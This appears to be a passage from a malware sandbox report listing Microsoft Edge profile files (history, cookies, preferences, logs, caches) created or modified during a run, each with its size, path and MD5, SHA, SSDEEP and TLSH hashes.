MD5 8b83a8102b03ec4175eecadb1ed6a9f8
SHA1 e3c7cfa1d53f534bfb5336d032dc381da34cf502
SHA512 db325df27ae774871aaa05c29f3b3de3245968758b806765ea2b6ff6b239f9bb9e656bd34915470da0e3e3e45e16e698df1edd63f5631eee1bf4c12d23630c6e
SSDEEP 24576:L3wHOwzsUJZNG/678n2GOq1Z69GJ06GPL:LgHz4gZNG/i82fp1L
TLSH
T1E7166CEDCA6858C3CD639A30B4F0E8577C7413D3F994C1D6C898C584026BBC5BFAA669
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 cec0ce5e487f3ce7121b337352dc563969bd9570d431225f54144ff5dcbfcaa1
MD5 1337339a3847d2f91e37672fb71e1f2f
SHA1 ddaf01b9cb3db82150158fa3f52160fc6c701192
SHA512 3afd5c7eda20e471008def9dc94b5a1069c3152cb31b7eb34f9e4914cd2a58dbbc9d144354a14e6b895d3d1dccdbaa5621347d08901cdb17e22ba5a581b13fa8
TLSH
T18B61097881AE0FAEDB27823571F1209B337C0771128B3D5561A01CB5BE0E7671B72871
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58ca31.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe58ca31.TMP
Size 3KB
SHA256 bc2abf165d34690bc613d9d56278335cebd3d4895e9f0a62ecdd84a4a4d95973
MD5 f8a0ff21d27f8d8724df1153bc225610
SHA1 d30d7e57d15de4b5ca27c04b35db4ffc3aa7de4c
SHA512 7e81b81ec5d992ea1925331501dd1e0f306b1af6d615bd6447e9dc164b7cd3dca17517280386dd1f5dda83bad42c5e3f75f69daf6b433b882114fe83c1b2ea43
TLSH
T1DA610B7481AE0FAEDB27823571F1249B377C0771124B3D5661A01CB5BE0E7675BB2871
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG
Size 346B
SHA256 6a3dbcb6af581e8073b7a28478f0d06f27a82ffc213e5cb2fa62695ac473096b
MD5 40a916e7d2470f35473e247e3e9c0aec
SHA1 2c3fc64697d5592c6f953d55b04b294b891c9de0
SHA512 0d800e9b28d4b6bff1338ec893824a58fa1f2072404677fc87d0c6dead7176a16d92594c40c852bce28b7a42783085b37f6dfcc08af19529d2ea6eae92862b91
TLSH
T132E0D8989DDBC39DA71A74C3812C5B4891803A57D78A6D0727008CD17A03211F25567A
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG
Size 319B
SHA256 52936312cfc6763a2c8228e397ed2ca402524d526bc8a3b05bd4b36a16ee88cf
MD5 62505256aeb6cbf03a20ac9bcf872f7a
SHA1 986d39cc9495879fc0510388d114308f79046325
SHA512 83e7e802c8bd995f5679a00b1d3b2ad727b4f6363c4faa099b6b044310f31a7f44d2b9bb8f4923f39a91a0c4a8cde98159e007ca4fc7d6994834b8e1213bc8dd
TLSH
T13AE04F555DD9D37DD11464E2C2E88388C291374FA7893A166B1D8C917103254B29A3B0
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log
Size 285B
SHA256 fff9c841af450dfefe7f284f645d4a26b048e6bd5709ad766b308172bc260a53
MD5 785c71b68bf89a0e9973e06d76434ab1
SHA1 2eb96ed892a724f5f223fe37abbd075d448d45e3
SHA512 a84d94a4b22d325a41b84c193a2e279bc3969085d87eda3fad0dc1032989bd26e67aba7cefa085838590e5aef8958c40e22a000d158fd80782b614dcdbc55030
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG
Size 319B
SHA256 e64eebcf829a0c3359ca1dc62e92f121db3938f786819ad8380e0d67758ddb2c
MD5 905be648423aa3723cd9b4a8e4cae8de
SHA1 ab7e4c026d1218d91b26b686a6209926fd7332f0
SHA512 25fec8c7d6f5aabcd3c8dd360423a3620d12c9a8d3c3d9df17fb6a242ce73bca74816aeac8a64a322ad45f95bcf7e1bd7886a2fe57a63d247f7f59e236767075
TLSH
T114E0869448D9E37DE51468B3C26C534CC3D13A8BA78A3D2627098890B113756E29B7F4
MD5 SHA1 SHA512 TLSH

Submit Download

History

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History
Size 224KB
SHA256 fcee08a82343e02ce92465eec33f638591e6e4a1510531129234e228fdcc0837
MD5 e4ab3bb4feb8643164d8d6a387de45fd
SHA1 56e69b756f4766853ba26457f3fb8dbba137cda4
SHA512 fdc9db647dbba95cc6d097d594ffd63215a4e465644fc22a5c95acd18914fbf58406afb2b2918cf4f32bfd1ebc090cc75e6162f96f594d1b0b726fd27c3f0471
SSDEEP 96:rg6dtejzH+bF+UIYysX0fxQp97oEHt/DfLjLqL/nBkbbEOVpZf24JkMfXSFR+CFq:rgRH+bF+UI3iWGVoWN3qL/ncVVV63
TLSH
T185240F0E5F352722CDBD913668E744A35C7DF03F8B5366DA6C6114B4CEE2652A02C8BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG
Size 334B
SHA256 5a20ac392963cef8f09f6b88d83e3f72e0c918cc1e540fd3856e3525a25bdb4e
MD5 630d4a63bde89abe2fea4894112c7c27
SHA1 1c1c2f006c1d2771f1db6761f482e015b5108438
SHA512 5692377e12d0d3b569b84151c2660546bbdf85fea5eece6e8ef50a288478974edb236bce69607bb8a0450a860dcd9f2ce3375b94ae33ba61c1f84ff6e6c96ebc
TLSH
T19DE0D86089DDC36DE204205BC21CA74CC3A0360BE7892F056B149850B003124E79B7F2
MD5 SHA1 SHA512 TLSH

Submit Download

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Size 24KB
SHA256 1cd39582e7713f3460081b21a0e672a40c3d15eebe4a254e4e204b0d365f642c
MD5 b1e08a07a7dffb1a17c8d29d2bf510c6
SHA1 35974abc8e9c69267795920fa1647952dbf009d0
SHA512 df39c86eb762f32f71ecbd6026ebb1b14bd20285d0fc6b86d3635d06e618f9bf4f4530fd524e4a412a956629bd15e24ca72efd3ada667b1a72116215a7efacfc
SSDEEP 48:Txk/LopFMaty423w/a9NUuTjAw7o1wj7VDByO:qDeMatha9RAJkKO
TLSH
T142B2204D0F306211C0F0477AEDD185672E7C111DD3633699DA1450F38EA29ABFA06466
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 29b5aa5c9c91883b713338fe929361008d2f324a830d01709f9de7f4028ac70a
MD5 e9f6baa22e152236d5d0bbc618f8ffbd
SHA1 b29b083ff4460036893955823ec6965f8b013922
SHA512 6bf293aabadfb890536318c1dcf4fc18df2b59c6f8a9f1e7b69605d57790b039c7ef93b00c42675d4b50b08e5fa8b4cee5167083bb2b526d94ff7ff41d6b9d33
TLSH
T14531ADF7C6E8957D8A0186F4BB142E5BDE2E0914432C3D5BC9E4AE1F97F2871E24084E
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 5dbf282017cf706835fa86d2f39a48de8ae47f45b1d32a795855896fd6fce2f6
MD5 085cba39a2efacb940b8144f62cbacc6
SHA1 08010fa226d9c159c26d0eae26a2a824d6112d2e
SHA512 ba01d3aa0bf0f3e4d6576920bce36ae383c5b4719564b54ce5e6ef9747523abf91a0281c4ff4f68ef4ade3c996a734aff4951540ef09f8b6aba947cab374d587
TLSH
T1E641A0F3C6E8866D894146F4BB143E1BCE1E0954832C3D5AC8E4AF5F97E2871D24094E
MD5 SHA1 SHA512 TLSH

Submit Download

Reporting and NEL

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL
Size 36KB
SHA256 1eb06d75847305f076dcc2cca11ef49ee92d48e37e0e90dd0bc9fd5fbbcb5f99
MD5 79f19737b9d97833406afd38bbf04240
SHA1 16993baad46580a7f74252a776880e73243e40ab
SHA512 179416fa01435c482aaaec09b30ac059f8487d6e71ae434f5531a0bf4f9d59770adfe0f8540e14c4e4953bc7f949e613e7b33aa4bcc41519c17d94dc66d29860
SSDEEP 96:i/IEumQv8m1ccnvS6nQIaMtXdNSnvnhcs4NZSo:i/IEumQv8m1ccnvS6aCbcHG
TLSH
T18AF2EFFA07376105D99444B0E400ABCFAF16404B47B2B6DC76D44BE3F7A24E2B1B979A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity
Size 188B
SHA256 ac867fcddb73281f461f781701c2fd29e3d48ebd83674ddc2231f52086c014a8
MD5 1d3fab92387aabff78e64034be0adc3a
SHA1 fd3fdc57294d2df68c13de0cf8e99380e9f6726b
SHA512 a54a9b2a806db97920b6865e19bdbcee135a0ce1dada7a79d9ea647d6e2dd5c3dee2a216410f0f4d2b9bb83a20650343d8a9a4f581ebc778687230a4bf6a4748
TLSH
T13DC0126684BAE4B61039567A1A847C816775D838105064F2DEA5A33DA1944BBAA22029
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 e43ab58509c08a10b4f725fbcca57e0d0cfd25a1180eb0d6f963e08b80bf24ec
MD5 1385fa1e53630dc1c8c6d45f70aa2b13
SHA1 0d19fb2e65ad1cc57a299b3be04b280b303e3ade
SHA512 4b8b01186165ff6b5dd247e5b38675825f12c5bdb63bfd4ea29d5c5627ea13d96dd8f0f93dbd1f164d677ca77574fc632a190ce4fb786ec07a159b4490cd64e4
SSDEEP 192:sxR+R8cx/fasodWpVsViEHzoA8p4I/g6+WNIY4ezwWgYusrg5IgFJ:sxR+Bx/fascWvsVduZ/5IewWgYfcv
TLSH
T159429716A928993B8CCBE61DFB657F13E2F91032A1951F48E6FC861C44E7ADD121740F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 297f4f97a0378835dd84b4d023d5336392cfaf28c1588b382674da14f402283b
MD5 c66bda5637c5f47a66416f928af47589
SHA1 424d8f55991fd84f18343768606a736a641d03c1
SHA512 31c5cf459e752152a320605673b895536247741004978fb4e0d694083c24b1f7a07a3cf504f413c576dc9696007b2442f8d4e8e8c070d2bb34096835e3b1ae0f
SSDEEP 384:sxR+Bx/fasPWvtDKI7mnFuZ/5IewWgYfZ3:saBx/fJYtD1mn2/5IewWgYfJ
TLSH
T177429616A928993B8CCBE21DFB657F53E6F91022A1951F48A6FC8A1C44E7ADD120740F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 8fcadfb3f59ce9c76f6524c63065e9d7832bb98311b5a39a116e6445589357ea
MD5 56651909198bc358d72d29ee1ef828dd
SHA1 de82a6b9d9da8a5d8d2a87304f351fc1de40d68b
SHA512 8358306e0fba6e0c8b4310272a0e409b9d3e0b2969cc61a6632f6df269a7e76cb6a7b105592bc73afb0f5dde4c8f7a036d1f7984a0eb9190bd117c562e88ea5e
SSDEEP 384:sxRpBx/fasLWvtDKI7mnFuZ/5IewWgYfZ3:s1Bx/fFYtD1mn2/5IewWgYfJ
TLSH
T15542A616A928993B8CCBE21DFB657F53E6F91022A1951F48A6FC8A1C44E7ADD120740F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 a552f78cf865c099273653eccd328cfe0ece7edb05ebf3fdb684b45ced57b6a5
MD5 914f3d2d0dd2822baee91d99e2699f8e
SHA1 653e206defe1559a60a8bd71343638d91e93c151
SHA512 99dc1d01929416c1b7a1b420229d4800575abbca8348dd6543e6b44e5a0ab73ea0b52fd8e5483e5a2a021b8e062c02ee81b52d5244cf4e40507bc34a29df41c5
SSDEEP 384:sxRpBx/fasLWvtbKI7mnFuZ/5I6wWgYfZR:s1Bx/fFYtb1mn2/5I6wWgYfn
TLSH
T1AF42A716A928993B8CCBE21DFB657F13E6F91033A1951F48A6FC8A1C04E7ADD120740F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG
Size 335B
SHA256 699ebef0861ebe0cd5cd299e683a51ec0e87fe0afc7b6361414df734c2adeae8
MD5 3bcac064d45fe14d298c0ca8ae9343ec
SHA1 899bde24724ff6533fbe79c8a6ebf2871c663350
SHA512 8698c7ad78b6c5392a88ac63d6e4586e33814bcb9d201ed9cc056f748d8eb55d00796fd6630227b6587bd74a7ba13fa5c89169a6bf7a244a91187b71a9b6cfa2
TLSH
T1D7E0266049C8D3BDA115205B42289388E3E4760FE7C83D063F40C98065C3614F1A73F1
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG
Size 347B
SHA256 66fce40999b82002b41a4fdc73e200cb0430413584ab1973a17625d8b7a47dbf
MD5 ae36a482f6a23391d3cbe9f575cda47d
SHA1 aae8892ae477fb6a1a8ce2aafe35f1deb15a733f
SHA512 d796ee12350d49c369a5c399e491a07efd66832ac95a1350ca5032e573e3da864cdcd1c850644ebeef5f8b1507c93556bc971753b16b6ae1a751b251ac8946a6
TLSH
T103E0D8745DD9C72EE34520AB822CE348A2F27607EBC929253B08944062C7290B247AB1
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000003.log
Size 175B
SHA256 80d1388b9a7150eb0291175fe693dd7b6bce910c3e4fff51e94841d31d771dbe
MD5 cb63c64828a27af7253afb7c7d986654
SHA1 8a54aeb86f79cc69e6f11278d874cebd328ae466
SHA512 e0dbdd6931c9272e0b52bb2ef7895121f6324379f584899343342a057737a9837cc476842ea781a1de5c17a20c06e0a7d24c0ed6ea41fdd95bb99296e8810f9a
TLSH
T135C09BD55F903023FDCA5D3D0DAB53041720C4752F74CF57D28430901C0A285FF61145
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG
Size 323B
SHA256 4580a24205e78fe93fb471de6e8f5afdc75106128849973565e8c6171fa935f3
MD5 672111f81d2676454a78be839d8987f0
SHA1 dc0c7d5652980b601d5e733dd2350504368ebbe9
SHA512 e176e5478de1426d60fd51fe51da829a45b556b864ed3e9d9729805ce4cbacf4117ded880c6cb2be423fa988fc630dd15d112942a4cc8bb48d76ba80bb13969f
TLSH
T173E026F08AC8C33EA10060C78278A74EA2F07E5B93C93A0A67084444EA43310F2AA2B1
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 3KB
SHA256 f019d5c17dceef25a3319b97a45b1638c2c4ecd3d2d4a3986df35c4aeb21d3a6
MD5 2739a2a8b5e4fbca26b148ba2dda9cd0
SHA1 bc19e0201628a1a3548f2cbe8defb6857459b2da
SHA512 09bc0936277d3b6c4c93992661d2da66821f226db056e0f72c5615d5716a005b28402515e9be6c97a56084c93883396cdf30cd14b33a27925cda464d38aeb280
TLSH
T1446121317B7A33143E7D695880D8953F769231A3741A642B3BA820D55E67E008EFCDEE
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 5KB
SHA256 62de260079eee4adc7a9f85e01e4ad7d32bb2a3c3461036dfd04be5f62f5e573
MD5 9d2eff00f5e2fb0b1dde3fae048af450
SHA1 04c80cac746cd35bddb1e6b659ae39159eae380a
SHA512 63d8307320aaf77b72c385cdad9b571211a4ac01bb522fd277ab4c2602d795999d263c30aa0a061e33605971b3574975b066fc3ee4fbc440a81596a6653a8fe2
SSDEEP 48:KoJIBK6EszyJGInK3qgPyGIIzKJ6EkyJEIzKr:KoJ+K6E6aGUK3qKvIwKJ61aEAKr
TLSH
T182B101217B7A33043D7E69588098953F72A271A33456A42B3BB910D51F67E008EFCDEE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
Size 256KB
SHA256 987a70f6c019d4484d78b409bbf8915ec78dc62c1f04a1d01af7e798b9dee807
MD5 cbfc41ddb1484a3a855539e7059521b5
SHA1 a53762d9cc7073aa166830c6ebb6992143ab2079
SHA512 b3333c6d8567189bc6bbd331547968a61452e1ae2716e16a68feff461c9eb5b9606cf3b1641ad728ff78b381f68810e421ca8efbbb2930831b3c8f16eeff9017
SSDEEP 384:DNrRZyCSDnxTICGMEhIKyll7svbFKfk7:xFZJSDniKyI1l7svbF9
TLSH
T1E644740A7B747001EDE6D9725CB080771E3CB16D8F22E6916DA254694EB3853A23D8FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WebAssistDatabase

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase
Size 14KB
SHA256 99b45c0e9019884b44853d0b047c6dd4304471e996c5658ba39d0ac5ad9e2c64
MD5 d66fb76c347171149f1f2035e41e9e96
SHA1 61be9e65bac5cbf61fcd843bdd12af84f9d212bf
SHA512 357bbb7944752e1bb52c2e9efe8eb5425ac5a4772108926074093f999bfa8278ef8dad2dcd18058b7924dc42e32b19a9b999054cf675fbbbd1d3f15f6713f676
SSDEEP 24:LL0OGxhK3thdkSI5QjUsEGcGBXp22iSBgm+xGt:zEK3tjkSI5IUltGhp22iSBgm+xW
TLSH
T1A452579BEE743212DCEA83319AD001E17E7A903D8FC1EB0255D610115FB5691A71E59E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b57a3b01-8b7b-48ba-8054-1f642259d17c.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\b57a3b01-8b7b-48ba-8054-1f642259d17c.tmp
Size 27KB
SHA256 33876ab3f28134ce1797d4cc58bb54264e1ed4cc0353508e8d336dce678a72a4
MD5 d94efc251f226c021274829632d0eb9f
SHA1 a1ac2eb41325f6ba421caae168ee1b0cbad6cdcf
SHA512 1aea04ee139f4b9b3d060cee5c30b7be7bb49acced9545109f30f046544bd2790b9a4cafd3126126dd9ec28346438246dfd46811fe5a280f6318e4b148261488
SSDEEP 768:lsiv9Y7pLuL7v+WgI+fHz8F1+UoAYDCx9Tuqh0VfUC9xbog/OVy7zHVro7soX:lsiv9EE7v+WgI+fHzu1jat/HugoX
TLSH
T1DFC2EA2B640CCB7F4F801ADDAD197E9B6D6802CB9698CD8047FE951C02C6BEF91194DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

favorites_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\favorites_diagnostic.log
Size 337B
SHA256 607e3446d738d17e96de67788cfb5434ae4a6da385ac868fef888244639b0a6d
MD5 d413dce19b00138a4c97886838417c8c
SHA1 21d3fb1bef59466b1fa71c735558a559c01da473
SHA512 df7bdc0b2f619bcd11f919c0b356f6b4e6759292a430fc14c3819b8936b47957d897045aae854c5cc53991926b37207cdd1d09e48d483c5b7e7f98dca96f0006
TLSH
T11BE04F9017BA72E86F8C9AA0C10C3817B0A43E66260F8471336A65D45F4AC0C8B6EE33
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log
Size 497B
SHA256 b99265fefe47b4887207b008d26276b14aa1394b50dba5156e70a1880d9d3175
MD5 25ce38348a2a5f5fbdc1fa558942b493
SHA1 c6e0af859768fc1d308305847e02dbea89e77705
SHA512 a28a8d1d2fe90a20c8d8b00451480113e7b6f687e3d8a2e081ca290a9b8526ebcb5241b0496bad048349bee5bb5791fcc5aa8f8db69a811ab53ffc521224fa7e
TLSH
T1BAF0E5CB6E421577DC42903540336783FF2189CB043478A747CD21AA1A1E2F5C9CC0E1
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG
Size 319B
SHA256 2d572b3108b27b9ec9e92bde7771aade1f48bca405641bcf141d7b1053a889db
MD5 c9b92af3a9d3844fe75c22bf8a6a772b
SHA1 2fe5be3a6ae34bc539bc1f91630d66108a1071e2
SHA512 2afb343156afecd6cf0de87d1dbe3cb4ad09e0f2a02da811c61a5259543ce4a0a971665c41dcce3fe170b235574696a97f801a555b42129915daaee6a0db5626
TLSH
T124E04850A9D9D3AEB2142497826CC38C92917707EF85296D2B04D8546103654B25A675
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log
Size 1KB
SHA256 8a9d0e5d3fb177d12023f9018a4285d2a0622f6af4c537b7726ebca97b8d92f0
MD5 5da36cb13a2897487fc56ccd606c4536
SHA1 1acc4ffc9c5018970926ce768878247ca3873c46
SHA512 f7229b751f3720cd92c626750022f509d168b68a0b527b54d20ab946fcb75a8adf39c5415d5ae4f3157d6c719de81ee1af8e3eab0d450f4475ca94f555bd3254
TLSH
T17421B156F330C108E14A827EA47F9B261738D8469FBCED0F85B920746E76A050D8F6E5
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG
Size 337B
SHA256 a04ee7076c99da7fb2e597aa0c649e73786c2b9e1e07e4ecf21d36573eab0398
MD5 99edc0b3031ce4fc70aadb5dbeb1576a
SHA1 e8a3f9e9f2081073cf2562495302b85b6729ffc7
SHA512 45c064576ac0206776db66a3782892d4ba758c9b2ce3c94c8f503a5099aa8ebea3f890eed94223c298c2d2333e9f62527f10cbb0492bcef3edd32a5afa3e6160
TLSH
T1C1E0D810B8C4C36FA1107093417C838CC2913A47EB852E153F0589845503251F24AA71
MD5 SHA1 SHA512 TLSH

Submit Download

269bb32b-6e82-4d92-9d82-480618e7c7f2.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\269bb32b-6e82-4d92-9d82-480618e7c7f2.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_1
Size 264KB
SHA256 f7f5940d132f1198c936e4fd58a6fa83ebc877dbabbd3f185da8f46924407c6a
MD5 ae9d194830b406b43ae1e2f317899f9e
SHA1 1ba9ac2e85d6c46cbed1d49f28f34b23f4a8099c
SHA512 f6048cf275d119d30f78507d4170454db5e2520ceefefa0a7e9f679bfc5718084de9bd3a4c52bfd21f206caedbf98ede7c591b0d94feaeae4dfb4c7cf372db29
SSDEEP 3:MsEllllkEthXllkl2zEflE8:/M/xT02zb8
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_1
Size 264KB
SHA256 13e783de4625c1dc223e505e2db49f41b11b05db9cf798385e2ce961840e8163
MD5 2bec451acc6cf3d1134f83b16f1dfbde
SHA1 0630a7dc6815270fdc3294b0decf0cbd65e15801
SHA512 f6a628e631509a717a869af14714b2b31d8523c002b79c75446719d7e7cb231adfa81b9a455b78d72a918bb0e2dca31a74b2664cae216cb1ad48449823f9b4df
SSDEEP 3:MsEllllkEthXllkl2zEflxV:/M/xT02zOV
MD5 SHA1 SHA512 SSDEEP

Submit Download

Last Browser

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Browser
Size 120B
SHA256 9c70f766d3b84fc2bb298efa37cc9191f28bec336329cc11468cfadbc3b137f4
MD5 a397e5983d4a1619e36143b4d804b870
SHA1 aa135a8cc2469cfd1ef2d7955f027d95be5dfbd4
SHA512 4159ea654152d2810c95648694dd71957c84ea825fcca87b36f7e3282a72b30ef741805c610c5fa847ca186e34bde9c289aaa7b6931c5b257f1d11255cd2a816
TLSH
T1E0B012203BF9062CF3F74D00AA73AA3428BFF4080A14811D505102080C33E19C478FA3
MD5 SHA1 SHA512 TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
Size 14B
SHA256 ee1367d356a136a11664001cd90e05ba08dbaa85f496584158f5e42be8e836fd
MD5 8297da058a737611abcc3a0ede9ffc24
SHA1 e532552672ecffbe3509fb4c334833a67f16d05b
SHA512 fefc70ebe486693310a00beb5ae125abb1569c4455538124d897566f2e44f2b3854ad4451196607137301a811ac7f96f1d488a36eb6d6cd566f2f7cdc7c7568f
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 34KB
SHA256 9d48f3b86954c2c45440104093595ee54444df3a7326dde5644b3f1cf604729d
MD5 169ad81644634188c43fed9ded1010ff
SHA1 62a6f2eff29f71b38cb3e3e98b0b3fa9fb9236ab
SHA512 294e395f765e7a320ffcfa6a2a07f17b7fca1f7828caf49fe6b02380be28d80d636a07899a9811965592d357d5225fd54e215de2fe86db81b4a7dd3a8898ac49
SSDEEP 768:/j+953kRmj85BwT7VWs+DoLSpG0/TIoSH09HCevR:y9533VmoTiT+ElvR
TLSH
T102F29D36A8649D3B9CEED784760B39471E744333D5D82F98C7DC6B0C45A669DB30382A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 42KB
